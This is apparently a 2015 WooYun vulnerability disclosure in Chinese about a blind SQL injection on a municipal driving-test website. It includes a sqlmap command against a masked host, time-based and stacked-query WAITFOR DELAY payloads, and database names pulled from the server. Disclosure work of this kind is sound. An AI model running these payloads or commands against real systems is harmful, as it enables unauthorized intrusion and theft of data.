当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0135151

漏洞标题:某市驾考网站存在sql盲注

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-08-21 23:06

修复时间:2015-10-08 10:26

公开时间:2015-10-08 10:26

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-21: 细节已通知厂商并且等待厂商处理中
2015-08-24: cncert国家互联网应急中心暂未能联系到相关单位,细节仅向通报机构公开
2015-09-03: 细节向核心白帽子及相关领域专家公开
2015-09-13: 细节向普通白帽子公开
2015-09-23: 细节向实习白帽子公开
2015-10-08: 细节向公众公开

简要描述:

sql盲注 sqlmap可直接跑表、用户名等信息
扫目录可发现直接下载疑似内部表格

详细说明:

s2.png

s1.png


注入:
**.**.**.**/OAData/CarListData 参数 CompanyName Cph

漏洞证明:

栗子:

PS F:\sqlmap> python sqlmap.py -u 'http://**.**.**.**/OAData/CarListData?CompanyName=1' --tables
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140923}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 21:54:33
[21:54:34] [INFO] resuming back-end DBMS 'microsoft sql server'
[21:54:34] [INFO] testing connection to the target URL
sqlmap got a 302 redirect to 'http://**.**.**.**:80/'. Do you want to follow? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: CompanyName
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: CompanyName=1'; WAITFOR DELAY '0:0:5'--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: CompanyName=1' WAITFOR DELAY '0:0:5'--
---
[21:54:36] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
[21:54:36] [INFO] fetching database names
[21:54:36] [INFO] fetching number of databases
[21:54:36] [WARNING] time-based comparison requires larger statistical model, please wait..............................
[21:54:43] [CRITICAL] considerable lagging has been detected in connection response(s). Please use as high value for option '--time-sec' as possible (e.g. 10 or more)
[21:54:44] [WARNING] it is very important not to stress the network adapter during usage of time-based payloads to prevent potential errors
35
[21:55:12] [INFO] retrieved: _JZ_JX_HUANQIU
[21:59:50] [INFO] retrieved: _ShenZhenJiaoWei
[22:05:16] [INFO] retrieved: _XCSJ
[22:06:53] [INFO] retrieved: AnShunKang
[22:10:48] [INFO] retrieved: AnShunKangNewLiLun
[22:17:41] [INFO] retrieved: ChangCheng
[22:21:13] [INFO] retrieved: ChangShaJiaPeiOA
[22:26:17] [INFO] retrieved: ChongQingOA

修复方案:

安全狗

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-08-24 10:25

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT下发给湖南分中心,由其后续协调网站管理单位处置。

最新状态:

暂无